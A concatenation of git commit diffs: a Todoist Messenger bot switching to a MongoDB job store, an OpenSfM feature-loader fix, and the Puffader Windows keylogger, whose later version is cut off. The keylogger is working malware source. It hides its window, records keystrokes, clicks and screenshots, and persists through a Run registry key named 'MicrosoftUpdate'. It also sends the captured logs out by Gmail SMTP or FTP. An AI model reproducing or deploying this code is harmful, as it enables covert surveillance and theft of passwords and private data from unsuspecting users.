        send_reminder,
        args=[sender_id, user_id, task, REMINDER_OFFSET],
        trigger='cron',
        year=reminder_date.year,
        month=reminder_date.month,
        day=reminder_date.day,
        hour=reminder_date.hour,
        minute=reminder_date.minute,
        id=job_id
    )
    scheduler.start()
    bot_user = [x for x in handle.bot_users.find(
        {'user_id': user_id})][0]
    reminder_jobs = bot_user['reminder_jobs'] \
        if 'reminder_jobs' in bot_user else {}
    reminder_jobs[str(task_id)] = job_id
    handle.bot_users.update(
        {'user_id': user_id},
        {
            '$set': {
                'reminder_jobs': reminder_jobs
            }
        }
    )
    send_FB_buttons(
        sender_id,
        'An alert has been set for {0}.'.format(
            (
                (reminder_date + timedelta(hours=time_diff)).strftime(
                    '%A, %B %d at %-I:%M %p'
                )
            )
        ),
        [
            {
                'type': 'postback',
                'title': 'Remove alert',
                'payload': 'remove_alert:{0}'.format(
                    task['id']
                )
            }
        ]
    )

def send_FB_message(sender_id, message):
    fb_response = requests.post(
        FB_MESSAGES_ENDPOINT,
        params={'access_token': os.environ['FB_APP_TOKEN']},
        data=json.dumps(
            {
                'recipient': {
                    'id': sender_id
                },
                'message': message
            }
        ),
        headers={'content-type': 'application/json'})
    if not fb_response.ok:
        print 'Not OK: {0}: {1}'.format(
            fb_response.status_code,
            fb_response.text
        )
    else:
        print 'OK: {0}'.format(200)

def send_FB_text(sender_id, text):
    return send_FB_message(
        sender_id,
        {
            'text': text
        }
    )

def send_FB_buttons(sender_id, text, buttons):
    return send_FB_message(
        sender_id,
        {
            'attachment': {
                'type': 'template',
                'payload': {
                    'template_type': 'button',
                    'text': text,
                    'buttons': buttons
                }
            }
        }
    )

if __name__ == '__main__':
    scheduler.start()
    app.run(host='0.0.0.0', port=5000)
<commit_msg>mongodb jobstore<commit_after>from flask import Flask
from flask import request, abort
import json
import requests
import urllib
import requests.auth
import os
from client import TodoistClient
from uuid import uuid4
from pymongo import MongoClient
from dateutil.parser import parse
from datetime import timedelta, datetime
from webob import Response
from apscheduler.schedulers.background import BackgroundScheduler
from apscheduler.jobstores.mongodb import MongoDBJobStore

FB_MESSAGES_ENDPOINT = 'https://graph.facebook.com/v2.6/me/messages'
OAUTH_CODE_ENDPOINT = 'https://todoist.com/oauth/authorize'
OAUTH_ACCESS_TOKEN_ENDPOINT = 'https://todoist.com/oauth/access_token'
REDIRECT_URI = 'http://pure-hamlet-63323.herokuapp.com/todoist_callback'
MONGO_DB_TOKENS_DATABASE = 'todoist_access_tokens'
MONGO_DB_TOKENS_ENDPOINT = 'ds021434.mlab.com'
MONGO_DB_TOKENS_PORT = 21434
MONGO_DB_JOBS_DATABASE = 'apscheduler'
MONGO_DB_JOBS_ENDPOINT = 'ds011715.mlab.com'
MONGO_DB_JOBS_PORT = 11715
MONGO_DB_JOBS_URL = 'mongodb://{0}:{1}@{2}:{3}/{4}'.format(
    os.environ['MONGO_DB_USERNAME'],
    os.environ['MONGO_DB_PWD'],
    MONGO_DB_JOBS_ENDPOINT,
    MONGO_DB_JOBS_PORT,
    MONGO_DB_JOBS_DATABASE
)

REMINDER_OFFSET = 30

def connect():
    connection = MongoClient(
        MONGO_DB_TOKENS_ENDPOINT,
        MONGO_DB_TOKENS_PORT
    )
    handle = connection[MONGO_DB_TOKENS_DATABASE]
    handle.authenticate(
        os.environ['MONGO_DB_USERNAME'],
        os.environ['MONGO_DB_PWD']
    )
    return handle

app = Flask(__name__)
app.config['DEBUG'] = True
handle = connect()
scheduler = BackgroundScheduler(jobstores={
    'default': MongoDBJobStore(host=MONGO_DB_JOBS_URL)
})

@app.route('/webhook', methods=['GET', 'POST'])
def webhook():
    if request.method == 'GET':
        if request.args.get('hub.verify_token') == 'todoist_is_my_fave':
            return request.args.get('hub.challenge')
        else:
            return 'Wrong validation token'
    elif request.method == 'POST':
        data = json.loads(request.data)['entry'][0]['messaging']
        for event in data:
            # check if the event was sent by someone
            if 'sender' in event:
                sender_id = event['sender']['id']
                # get Todoist access token if there is none in MongoDB
                if handle.bot_users.find(
                    {'sender_id': sender_id}
                ).count() == 0:
                    get_access_token(sender_id)
                sender_id_matches = [x for x in handle.bot_users.find(
                    {'sender_id': sender_id})]
                if sender_id_matches:
                    access_token = sender_id_matches[0]['access_token']
                    tc = TodoistClient(access_token)
                    # add user_id to Mongo object to handle live notifications
                    if not 'user_id' in [x for x in handle.bot_users.find(
                        {'access_token': access_token}
                    )][0]:
                        handle.bot_users.update(
                            {'access_token': access_token},
                            {
                                '$set': {
                                    'user_id': tc.user_id
                                }
                            }
                        )
                    if 'message' in event and 'text' in event['message']:
                        message = event['message']['text']
                        if 'tasks' in message.lower():
                            # return tasks in project
                            if ' in ' in message.lower():
                                project_name = message.lower().split(
                                    ' in '
                                )[1]
                                project_tasks = tc.get_project_tasks(
                                    project_name
                                )
                                if type(project_tasks) is list:
                                    if len(project_tasks) > 0:
                                        send_tasks(
                                            sender_id,
                                            project_tasks
                                        )
                                    else:
                                        send_FB_text(
                                            sender_id,
                                            'No tasks in this project.'
                                        )
                                else:
                                    send_FB_text(
                                        sender_id,
                                        'Not a valid project.'
                                    )
                            # return tasks up to a certain date
                            elif ' up to ' in message.lower():
                                date_string = message.lower().split(
                                    ' up to '
                                )[1]
                                datetime = None
                                try:
                                    datetime = parse(date_string)
                                except:
                                    send_FB_text(
                                        sender_id,
                                        (
                                            'Date text not recognized. \n'
                                            'Try using actual dates.'
                                        )
                                    )
                                if datetime:
                                    send_tasks(
                                        sender_id,
                                        tc.get_tasks_up_to_date(
                                            datetime.date()
                                        )
                                    )
                            # send a normal tasks response
                            else:
                                send_tasks(
                                    sender_id,
                                    tc.get_this_week_tasks()
                                )
                        # write a task due a certain date
                        elif ' due ' in message:
                            write_task(sender_id, tc, message)
                        else:
                            send_generic_response(sender_id)
                    # button handling
                    if 'postback' in event:
                        payload = event['postback']['payload']
                        print 'Payload: {0}'.format(payload)
                        if payload == 'tasks':
                            send_tasks(sender_id, tc.get_this_week_tasks())
                        elif payload == 'write':
                            send_write_request(sender_id)
                        elif 'task_id' in payload:
                            complete_task(
                                sender_id,
                                tc,
                                payload.split(':')[1]
                            )
                        elif 'remove_alert' in payload:
                            task_id = payload.split(':')[1]
                            job_id = [x for x in handle.bot_users.find(
                                {'user_id': tc.user_id}
                            )][0]['reminder_jobs'][task_id]
                            scheduler.remove_job(job_id)
                            remove_reminder_job(
                                tc.user_id,
                                task_id
                            )
                            send_FB_text(sender_id, 'Alert removed.')
        return Response()

def send_tasks(sender_id, tasks):
    for task in tasks:
        send_FB_buttons(
            sender_id,
            '* {0} (Due {1})'.format(
                task['content'],
                task['date_string'] if task['date_string'] else 'never'
            ),
            [
                {
                    'type': 'postback',
                    'title':
                    'Complete',
                    'payload': '{0}:{1}'.format(
                        'task_id',
                        task['id']
                    )
                },
            ]
        )

def send_write_request(sender_id):
    send_FB_text(
        sender_id,
        (
            'Enter your task as follows: '
            '<Task Name> due <Date string>. '
            'Enter \'never\' if there is no due date.'
        )
    )

def write_task(sender_id, tc, message):
    task_name = message.split(' due ')[0]
    date_string = message.split(' due ')[1]
    if date_string == 'never':
        tc.write_task(
            task_name,
            'Inbox',
        )
    else:
        tc.write_task(
            task_name,
            'Inbox',
            date_string=date_string
        )
    send_FB_text(sender_id, 'Task written.')

def complete_task(sender_id, tc, task_id):
    tc.complete_task(task_id)
    send_FB_text(sender_id, 'Task completed.')

def send_generic_response(sender_id):
    send_FB_buttons(
        sender_id,
        (
            'Hi there! Would you like view your tasks or write tasks?\n'
            'You can also view tasks by typing \'tasks\'.\n'
            'You can view tasks up to a certain date'
            ' by typing \'tasks up to <date_string>\'\n'
            'You can view tasks in a specific project'
            ' by typing \'tasks in <project_name>\'\n'
        ),
        [
            {
                'type': 'postback',
                'title': 'View my tasks',
                'payload': 'tasks'
            },
            {
                'type': 'postback',
                'title': 'Write tasks',
                'payload': 'write'
            }
        ],
    )

@app.route('/todoist_callback')
def todoist_callback(methods=['GET']):
    if request.method == 'GET':
        error = request.args.get('error', '')
        if error:
            return 'Error: ' + error
        state = request.args.get('state', '')
        code = request.args.get('code')
        access_token = get_token(code)
        print 'Access token: {0}'.format(access_token)
        handle.bot_users.update(
            {'access_token': 'temp'},
            {
                '$set': {
                    'access_token': access_token
                }
            }
        )
        return 'success' if access_token and \
            handle.bot_users.find(
                {'access_token': access_token}
            ).count() else 'failure'

def get_access_token(sender_id):
    handle.bot_users.insert(
        {
            'sender_id': sender_id,
            'access_token': 'temp'
        }
    )
    send_FB_buttons(
        sender_id,
        'Looks like you haven\'t authorized Todoist.',
        [
            {
                'type': 'web_url',
                'title': 'Authorize now',
                'url': '{0}?{1}'.format(
                    OAUTH_CODE_ENDPOINT,
                    urllib.urlencode(
                        {
                            'client_id': os.environ['TODOIST_CLIENT_ID'],
                            'scope': 'data:read_write,data:delete',
                            'redirect_uri': REDIRECT_URI,
                            'state': uuid4()
                        }
                    )
                )
            }
        ],
    )

def get_token(code):
    post_data = {
        'client_id': os.environ['TODOIST_CLIENT_ID'],
        'client_secret': os.environ['TODOIST_CLIENT_SECRET'],
        'code': code,
        'redirect_uri': REDIRECT_URI
    }
    response = requests.post(
        OAUTH_ACCESS_TOKEN_ENDPOINT,
        data=post_data
    )
    token_json = response.json()
    return token_json['access_token']

@app.route('/todoist_notifications', methods=['POST'])
def todoist_notifications():
    if request.method == 'POST':
        data = json.loads(request.data)
        user_id = data['event_data']['user_id']
        bot_user = [x for x in handle.bot_users.find(
            {'user_id': user_id})][0]
        sender_id = bot_user['sender_id']
        access_token = bot_user['access_token']
        tc = TodoistClient(access_token)
        task = data['event_data']
        if data['event_name'] == 'item:added':
            if task['due_date_utc']:
                # tz naivete necessary to compare objects
                due_date = parse(task['due_date_utc']).replace(tzinfo=None)
                if due_date > (
                    datetime.now() + timedelta(minutes=REMINDER_OFFSET)
                ):  # only set alert if it is before the alert would happen
                    reminder_date = due_date - \
                        timedelta(minutes=REMINDER_OFFSET)
                    add_reminder_job(
                        reminder_date,
                        sender_id,
                        user_id,
                        task,
                        tc.tz_info['hours']
                    )
        elif data['event_name'] == 'item:completed' \
                or data['event_name'] == 'item:deleted':
            print 'MongoDB: {0}'.format(bot_user)
            if 'reminder_jobs' in bot_user:
                reminder_jobs = bot_user['reminder_jobs']
                if str(task['id']) in reminder_jobs.keys():
                    remove_reminder_job(user_id, task['id'])
                    scheduler.remove_job(reminder_jobs[str(task['id'])])
        elif data['event_name'] == 'item:updated':
            remove_reminder_job(user_id, task['id'])
            scheduler.remove_job(bot_user['reminder_jobs'][str(task['id'])])
        return Response()

def send_reminder(sender_id, user_id, task, mins_left):
    send_FB_buttons(
        sender_id,
        'Your task, "{0}", is due in {1} minutes!'.format(
            task['content'],
            mins_left
        ),
        [
            {
                'type': 'postback',
                'title':
                'Complete',
                'payload': '{0}:{1}'.format(
                    'task_id',
                    task['id']
                )
            },
        ]
    )
    remove_reminder_job(user_id, task['id'])

def remove_reminder_job(user_id, task_id):
    bot_user = [x for x in handle.bot_users.find(
        {'user_id': user_id})][0]
    reminder_jobs = bot_user['reminder_jobs']
    job_id = reminder_jobs.pop(str(task_id))
    handle.bot_users.update(
        {'user_id': user_id},
        {
            '$set': {
                'reminder_jobs': reminder_jobs
            }
        }
    )

def add_reminder_job(reminder_date, sender_id, user_id,
                     task, time_diff):
    job_id = uuid4().__str__()
    task_id = task['id']
    job = scheduler.add_job(
        send_reminder,
        args=[sender_id, user_id, task, REMINDER_OFFSET],
        trigger='cron',
        year=reminder_date.year,
        month=reminder_date.month,
        day=reminder_date.day,
        hour=reminder_date.hour,
        minute=reminder_date.minute,
        id=job_id
    )
    scheduler.start()
    bot_user = [x for x in handle.bot_users.find(
        {'user_id': user_id})][0]
    reminder_jobs = bot_user['reminder_jobs'] \
        if 'reminder_jobs' in bot_user else {}
    reminder_jobs[str(task_id)] = job_id
    handle.bot_users.update(
        {'user_id': user_id},
        {
            '$set': {
                'reminder_jobs': reminder_jobs
            }
        }
    )
    send_FB_buttons(
        sender_id,
        'An alert has been set for {0}.'.format(
            (
                (reminder_date + timedelta(hours=time_diff)).strftime(
                    '%A, %B %d at %-I:%M %p'
                )
            )
        ),
        [
            {
                'type': 'postback',
                'title': 'Remove alert',
                'payload': 'remove_alert:{0}'.format(
                    task['id']
                )
            }
        ]
    )

def send_FB_message(sender_id, message):
    fb_response = requests.post(
        FB_MESSAGES_ENDPOINT,
        params={'access_token': os.environ['FB_APP_TOKEN']},
        data=json.dumps(
            {
                'recipient': {
                    'id': sender_id
                },
                'message': message
            }
        ),
        headers={'content-type': 'application/json'})
    if not fb_response.ok:
        print 'Not OK: {0}: {1}'.format(
            fb_response.status_code,
            fb_response.text
        )
    else:
        print 'OK: {0}'.format(200)

def send_FB_text(sender_id, text):
    return send_FB_message(
        sender_id,
        {
            'text': text
        }
    )

def send_FB_buttons(sender_id, text, buttons):
    return send_FB_message(
        sender_id,
        {
            'attachment': {
                'type': 'template',
                'payload': {
                    'template_type': 'button',
                    'text': text,
                    'buttons': buttons
                }
            }
        }
    )

if __name__ == '__main__':
    scheduler.start()
    app.run(host='0.0.0.0', port=5000)
<|endoftext|>


<commit_before>from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import logging

import numpy as np
from repoze.lru import LRUCache

from opensfm import features as ft

logger = logging.getLogger(__name__)

class FeatureLoader(object):
    def __init__(self):
        self.points_cache = LRUCache(1000)
        self.colors_cache = LRUCache(1000)
        self.features_cache = LRUCache(200)
        self.words_cache = LRUCache(200)
        self.masks_cache = LRUCache(1000)
        self.index_cache = LRUCache(200)
        self.masked_index_cache = LRUCache(200)

    def clear_cache(self):
        self.points_cache.clear()
        self.colors_cache.clear()
        self.features_cache.clear()
        self.words_cache.clear()
        self.masks_cache.clear()

    def load_mask(self, data, image, points=None):
        masks = self.masks_cache.get(image)
        if masks is None:
            if points is None:
                points, _ = self.load_points_colors(data, image, masked=False)
            masks = data.load_features_mask(image, points[:, :2])
            self.masks_cache.put(image, masks)
        return masks

    def load_points_colors(self, data, image, masked=False):
        points = self.points_cache.get(image)
        colors = self.colors_cache.get(image)
        if points is None or colors is None:
            points, _, colors = self._load_features_nocache(data, image)
            self.points_cache.put(image, points)
            self.colors_cache.put(image, colors)
        if masked:
            mask = self.load_mask(data, image, points)
            if mask is not None:
                points = points[mask]
                colors = colors[mask]
        return points, colors

    def load_points_features_colors(self, data, image, masked=False):
        points = self.points_cache.get(image)
        features = self.features_cache.get(image)
        colors = self.colors_cache.get(image)
        if points is None or features is None or colors is None:
            points, features, colors = self._load_features_nocache(data, image)
            self.points_cache.put(image, points)
            self.features_cache.put(image, features)
            self.colors_cache.put(image, colors)
        if masked:
            mask = self.load_mask(data, image, points)
            if mask is not None:
                points = points[mask]
                features = features[mask]
                colors = colors[mask]
        return points, features, colors

    def load_features_index(self, data, image, masked=False):
        cache = self.masked_index_cache if masked else self.index_cache
        cached = cache.get(image)
        if cached is None:
            _, features, _ = self.load_points_features_colors(data, image,
                                                              masked)
            index = ft.build_flann_index(features, data.config)
            cache.put(image, (features, index))
        else:
            features, index = cached
        return index

    def load_words(self, data, image, masked):
        words = self.words_cache.get(image)
        if words is None:
            words = data.load_words(image)
            self.words_cache.put(image, words)
        if masked and words is not None:
            mask = self.load_mask(data, image)
            if mask is not None:
                words = words[mask]
        return words

    def _load_features_nocache(self, data, image):
        points, features, colors = data.load_features(image)
        if points is None:
            logger.error('Could not load features for image {}'.format(image))
        else:
            points = np.array(points[:, :3], dtype=float)
        return points, features, colors
<commit_msg>fix: if points are really None, then skip the masks<commit_after>from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import logging

import numpy as np
from repoze.lru import LRUCache

from opensfm import features as ft

logger = logging.getLogger(__name__)

class FeatureLoader(object):
    def __init__(self):
        self.points_cache = LRUCache(1000)
        self.colors_cache = LRUCache(1000)
        self.features_cache = LRUCache(200)
        self.words_cache = LRUCache(200)
        self.masks_cache = LRUCache(1000)
        self.index_cache = LRUCache(200)
        self.masked_index_cache = LRUCache(200)

    def clear_cache(self):
        self.points_cache.clear()
        self.colors_cache.clear()
        self.features_cache.clear()
        self.words_cache.clear()
        self.masks_cache.clear()

    def load_mask(self, data, image, points=None):
        masks = self.masks_cache.get(image)
        if masks is None:
            if points is None:
                points, _ = self.load_points_colors(data, image, masked=False)
            if points is None:
                return None
            masks = data.load_features_mask(image, points[:, :2])
            self.masks_cache.put(image, masks)
        return masks

    def load_points_colors(self, data, image, masked=False):
        points = self.points_cache.get(image)
        colors = self.colors_cache.get(image)
        if points is None or colors is None:
            points, _, colors = self._load_features_nocache(data, image)
            self.points_cache.put(image, points)
            self.colors_cache.put(image, colors)
        if masked:
            mask = self.load_mask(data, image, points)
            if mask is not None:
                points = points[mask]
                colors = colors[mask]
        return points, colors

    def load_points_features_colors(self, data, image, masked=False):
        points = self.points_cache.get(image)
        features = self.features_cache.get(image)
        colors = self.colors_cache.get(image)
        if points is None or features is None or colors is None:
            points, features, colors = self._load_features_nocache(data, image)
            self.points_cache.put(image, points)
            self.features_cache.put(image, features)
            self.colors_cache.put(image, colors)
        if masked:
            mask = self.load_mask(data, image, points)
            if mask is not None:
                points = points[mask]
                features = features[mask]
                colors = colors[mask]
        return points, features, colors

    def load_features_index(self, data, image, masked=False):
        cache = self.masked_index_cache if masked else self.index_cache
        cached = cache.get(image)
        if cached is None:
            _, features, _ = self.load_points_features_colors(data, image,
                                                              masked)
            index = ft.build_flann_index(features, data.config)
            cache.put(image, (features, index))
        else:
            features, index = cached
        return index

    def load_words(self, data, image, masked):
        words = self.words_cache.get(image)
        if words is None:
            words = data.load_words(image)
            self.words_cache.put(image, words)
        if masked and words is not None:
            mask = self.load_mask(data, image)
            if mask is not None:
                words = words[mask]
        return words

    def _load_features_nocache(self, data, image):
        points, features, colors = data.load_features(image)
        if points is None:
            logger.error('Could not load features for image {}'.format(image))
        else:
            points = np.array(points[:, :3], dtype=float)
        return points, features, colors
<|endoftext|>


<commit_before>'''
Puffader Windows Keylogger by xp4xbox
https://github.com/xp4xbox/Puffader

Copyright (c) 2017 xp4xbox
MIT License: https://github.com/xp4xbox/Puffader/blob/master/LICENSE

NOTE: This program must be used for legal purposes only! I am not responsible for anything you do with it.
'''

import smtplib, time, os, threading, sys, subprocess, argparse
import win32console, win32gui, win32event, win32api, winerror
from sys import exit; from ftplib import FTP; from urllib2 import urlopen; from shutil import copyfile
from email.MIMEMultipart import MIMEMultipart; from email.MIMEImage import MIMEImage; from _winreg import *
try:
    import pythoncom, pyHook, pyautogui
    from pyHook import GetKeyState, HookConstants
except ImportError:
    print("required pyhook, pywin32 and pyautogui")
    exit()

strEmailAc = "email@gmail.com"
strEmailPass = "pass"

blnFTP = "False"  # if using ftp set this to True and configure the options below
strFtpServer = ""
intFtpPort = 21
strFtpUser = ""
strFtpPass = ""
strFtpRemotePath = "/"

intCharPerSend = 1000  # set num of chars before send log/store

blnUseTime = "False"  # if you prefer to use a timer to send/save logs, set this to True
intTimePerSend = 120  # set how often to send/save logs in seconds

blnStoreLocal = "False"  # True to save logs/screens locally
strLogFile = ""  # set non-protected path to text file eg. c:/temp/test.txt

blnLogClick = "False"  # for logging window clicks
blnBackRemove = "False"  # set this to True if you prefer the program removes the last key if the user types backspace

blnScrShot = "False"  # set to True for capturing screenshots
strScrDir = ""  # set non-protected dir for scrshot location if storing locally. eg c:/temp
intScrTime = 120  # set time for taking screen in seconds

blnAddToStartup = "False"

def hide():
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window, 0)
    return True
# hide window as new thread. Necessary in order to define timer used later
objTimer = threading.Timer(0, hide); objTimer.start()

objParser = argparse.ArgumentParser()  # set up arg parser
objParser.add_argument("-o", "--open", default=None)  # add args
args = objParser.parse_args()

# open file in notepad if argument is given
if args.open:
    OpenNotepad = subprocess.Popen([os.environ["windir"]+"\\notepad.exe", args.open])

# function to prevent multiple instances
mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    exit()

def GetExIp():  # function to get external ip
    global strExIP
    try:
        strExIP = urlopen("http://ident.me").read().decode('utf8')
    except:
        strExIP = "?"
# obj defined for later use for screenshot timer
objTimer2 = threading.Timer(0, GetExIp); objTimer2.start()

def AddToStartup():
    try:
        strPath = os.path.realpath(sys.argv[0])
        strAppPath = os.environ["APPDATA"] + "\\" + os.path.basename(strPath)
        copyfile(strPath, strAppPath)

        objRegKey = OpenKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS)
        SetValueEx(objRegKey, "MicrosoftUpdate", 0, REG_SZ, strAppPath); CloseKey(objRegKey)
    except:  # if the program is already added to startup
        pass

if blnAddToStartup == "True":
    AddToStartup()

blnFirstSend = "True"
blnStop = "False"
intLogChars = 0

def OnKeyboardEvent(event):
    global strLogs, objTimer, intLogChars, objTimer2
    try:  # check to see if variable is defined
        strLogs
    except NameError:
        strLogs = ""

    def SendMessages(strLogs, strEmailAc, strEmailPass, blnStop, strExIP):
        global blnFirstSend  # easier to just define this variable to be global within the functions
        try:
            if blnStop == "True":
                strDateTime = "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
                strMessage = strDateTime + "\n\n" + strLogs
            elif blnFirstSend == "True":
                strDateTime = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S")
                strMessage = strDateTime + "\n\n" + strLogs
                blnFirstSend = "False"
            else:
                strMessage = strLogs

            strMessage = "Subject: {}\n\n{}".format("New Keylogger Logs From "+strExIP, strMessage)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            SmtpServer.ehlo()   # identifies you to the smtp server
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, strMessage)
            SmtpServer.close()
        except:
            os._exit(1)  # if for some reason, the email cannot send, exit program including threads.

    def SendMessagesFTP(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop):
        global blnFirstSend
        try:
            ftp = FTP(); ftp.connect(strFtpServer, 21)
            ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath)
            # connect to ftp server

            TMP = os.environ["TEMP"]
            objLogFile = open(TMP + "/log.txt", 'w')
            if blnStop == "True":
                objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            elif blnFirstSend == "True":
                objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
                blnFirstSend = "False"
            objLogFile.write(strLogs)
            objLogFile.close()
            # create log file

            arFileList = ftp.nlst()
            if "log.txt" in arFileList:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("APPE log.txt", objLogFile)
            else:
                objLogFile = open(TMP + "/log.txt", 'rb'); ftp.storbinary("STOR log.txt", objLogFile)
            objLogFile.close(); ftp.close()
            objLogFile = open(TMP + "/log.txt", 'w'); objLogFile.close()  # delete log file contents
        except:
            os._exit(1)

    def StoreMessagesLocal(strLogs, blnStop):
        global blnFirstSend
        # log keys locally
        if os.path.isfile(strLogFile):
            objLogFile = open(strLogFile, 'a')
        else:
            objLogFile = open(strLogFile, 'w')
        if blnStop == "True":
            objLogFile.write("\n\n" + "Keylogger Stopped At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
        elif blnFirstSend == "True":
            objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            blnFirstSend = "False"
        objLogFile.write(strLogs)
        objLogFile.close()

    def CreateNewThreadMessages():  # function for creating thread for sending messages
        if not strLogs == "":
            if blnStoreLocal == "True":
                StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, blnStop))
                StoreLogThread.start()
            elif blnFTP == "True":
                SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, blnStop))
                SendFTPThread.start()
            else:
                SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, blnStop, strExIP))
                SendMailThread.start()

    def SendScreen():  # function to send screens (easier to do this as a new function)
        if blnFTP == "True":
            try:
                ftp = FTP(); ftp.connect(strFtpServer, 21)
                ftp.login(strFtpUser, strFtpPass); ftp.cwd(strFtpRemotePath)
                objScrFile = open(strScrPath, "rb")
                ftp.storbinary("STOR " + strScrPath.split("/")[1], objScrFile)  # copy image to ftp
                objScrFile.close(); ftp.close()
            except:
                pass  # pass to try again later
        else:
            try:
                objMsg = MIMEMultipart()
                objMsg["Subject"] = "New Screenshot From " + strExIP
                img = MIMEImage(file(strScrPath, "rb").read())
                # attach image as original file name
                img.add_header("Content-Disposition", "attachment; filename= %s" % strScrPath.split("/")[1])
                objMsg.attach(img)
                SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465); SmtpServer.ehlo()
                SmtpServer.login(strEmailAc, strEmailPass)
                SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string())
                SmtpServer.close()
            except:
                pass
        os.remove(strScrPath)  # delete file after sending

    def TakeScr():  # function to take screenshot
        if blnStoreLocal == "True":
            threading.Thread(pyautogui.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start()
        else:
            global strScrPath
            TMP = os.environ["TEMP"]
            strScrPath = time.strftime(TMP + "/%Y%m%d%H%M%S" + ".png")  # save screenshot with datetime format
            threading.Thread(pyautogui.screenshot().save(strScrPath)).start()
            SendScreenThread = threading.Thread(target=SendScreen)
            SendScreenThread.start()

    if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and HookConstants.IDToName(event.KeyID) == "H":
        # CTRL-RIGHT_SHIFT-H to stop the program
        if blnStoreLocal == "True":
            StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=(strLogs, "True"))
            StoreLogThread.start()
        elif blnFTP == "True":
            SendFTPThread = threading.Thread(target=SendMessagesFTP, args=(strLogs, strFtpServer, intFtpPort, strFtpUser, strFtpPass, strFtpRemotePath, "True"))
            SendFTPThread.start()
        else:
            SendMailThread = threading.Thread(target=SendMessages, args=(strLogs, strEmailAc, strEmailPass, "True", strExIP))
            SendMailThread.start()
        exit()

    if event.Ascii == 8:
        if blnBackRemove == "True":
            if not strLogs == "":
                if intLogChars > 0:
                    strLogs = strLogs[0:len(strLogs) - 1]
        else:
            strLogs = strLogs + " [BckSpace] "
    elif event.Ascii == 9:
        strLogs = strLogs + " [Tab] "
    elif event.Ascii == 13:
        strLogs = strLogs + "\n"
    elif event.Ascii == 0:  # if the key is a special key such as alt, win, etc. Pass
        pass
    else:
        intLogChars += 1
        strLogs = strLogs + chr(event.Ascii)

    if blnUseTime == "True":  # if the user is sending messages by timer
        if not objTimer.is_alive():  # check to see if the timer is not active
            objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages)
            objTimer.start()
            strLogs = ""; intLogChars = 0
    else:
        if intLogChars >= intCharPerSend:  # send/save message if log is certain length
            CreateNewThreadMessages()
            strLogs = ""; intLogChars = 0

    if blnScrShot == "True":  # if the user is capturing screenshots
        if not objTimer2.is_alive():
            objTimer2 = threading.Timer(intScrTime, TakeScr)
            objTimer2.start()

    return True  # return True to pass key to windows

def OnMouseEvent(event):  # when the mouse is clicked
    global strLogs
    try:
        strLogs
    except NameError:
        strLogs = ""

    if not str(event.WindowName) == "None":  # log window name and time
        strLogs = strLogs + "\n" + "["+time.ctime().split(" ")[3] + "] " + event.WindowName + "\n" + "====================" + "\n"
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
if blnLogClick == "True":
    hooks_manager.MouseLeftDown = OnMouseEvent
    hooks_manager.HookMouse()
pythoncom.PumpMessages()
<commit_msg>Cleanup + Fix<commit_after>'''
Puffader Windows Keylogger by xp4xbox
https://github.com/xp4xbox/Puffader

Copyright (c) 2017 xp4xbox
MIT License: https://github.com/xp4xbox/Puffader/blob/master/LICENSE

NOTE: This program must be used for legal purposes only! I am not responsible for anything you do with it.
'''

import smtplib, time, os, threading, sys
import win32console, win32gui, win32event, win32api, winerror
from sys import exit; from ftplib import FTP; from urllib2 import urlopen; from shutil import copyfile
from email.MIMEMultipart import MIMEMultipart; from email.MIMEImage import MIMEImage; from _winreg import *
try:
    import pythoncom, pyHook, pyautogui
    from pyHook import GetKeyState, HookConstants
except ImportError:
    print("required pyhook, pywin32 and pyautogui")
    exit()

strEmailAc = "email@gmail.com"
strEmailPass = "pass"

blnFTP = "False"  # if using ftp set this to True and configure the options below
strFtpServer = ""
intFtpPort = 21
strFtpUser = ""
strFtpPass = ""
strFtpRemotePath = "/"

intCharPerSend = 1000  # set num of chars before send log/store

blnUseTime = "False"  # if you prefer to use a timer to send/save logs, set this to True
intTimePerSend = 120  # set how often to send/save logs in seconds

blnStoreLocal = "False"  # True to save logs/screens locally
strLogFile = ""  # set non-protected path to text file eg. c:/temp/test.txt

blnScrShot = "False"  # set to True for capturing screenshots
strScrDir = ""  # set non-protected dir for scrshot location if storing locally. eg c:/temp
intScrTime = 120  # set time for taking screen in seconds

blnLogClick = "False"  # for logging window clicks
blnAddToStartup = "False"

def hide():
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window, 0)
    return True
# hide window as new thread. Necessary in order to define timer used later
